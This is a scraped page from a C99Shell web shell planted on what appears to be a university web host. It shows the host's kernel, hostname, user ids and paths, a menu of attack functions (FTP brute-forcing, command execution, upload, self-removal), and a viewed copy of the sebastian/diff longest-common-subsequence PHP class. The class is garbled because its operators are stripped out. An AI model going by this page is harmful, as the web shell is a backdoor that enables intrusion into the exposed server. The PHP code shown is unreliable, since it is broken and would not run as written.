!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/sebastian/diff/src/LCS/   drwxr-xr-x
Free 116.86 GB of 200.55 GB (58.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TimeEfficientLongestCommonSubsequenceImplementation.php (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of the Diff package.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace SebastianBergmann\Diff\LCS;

/**
 * Time-efficient implementation of longest common subsequence calculation.
 */
class TimeEfficientImplementation implements LongestCommonSubsequence
{
    
/**
     * Calculates the longest common subsequence of two arrays.
     *
     * @param array $from
     * @param array $to
     *
     * @return array
     */
    
public function calculate(array $from, array $to)
    {
        
$common     = array();
        
$fromLength count($from);
        
$toLength   count($to);
        
$width      $fromLength 1;
        
$matrix     = new \SplFixedArray($width * ($toLength 1));

        for (
$i 0$i <= $fromLength; ++$i) {
            
$matrix[$i] = 0;
        }

        for (
$j 0$j <= $toLength; ++$j) {
            
$matrix[$j $width] = 0;
        }

        for (
$i 1$i <= $fromLength; ++$i) {
            for (
$j 1$j <= $toLength; ++$j) {
                
$o          = ($j $width) + $i;
                
$matrix[$o] = max(
                    
$matrix[$o 1],
                    
$matrix[$o $width],
                    
$from[$i 1] === $to[$j 1] ? $matrix[$o $width 1] + 0
                
);
            }
        }

        
$i $fromLength;
        
$j $toLength;

        while (
$i && $j 0) {
            if (
$from[$i-1] === $to[$j-1]) {
                
$common[] = $from[$i-1];
                --
$i;
                --
$j;
            } else {
                
$o = ($j $width) + $i;
                if (
$matrix[$o $width] > $matrix[$o 1]) {
                    --
$j;
                } else {
                    --
$i;
                }
            }
        }

        return 
array_reverse($common);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0113 ]--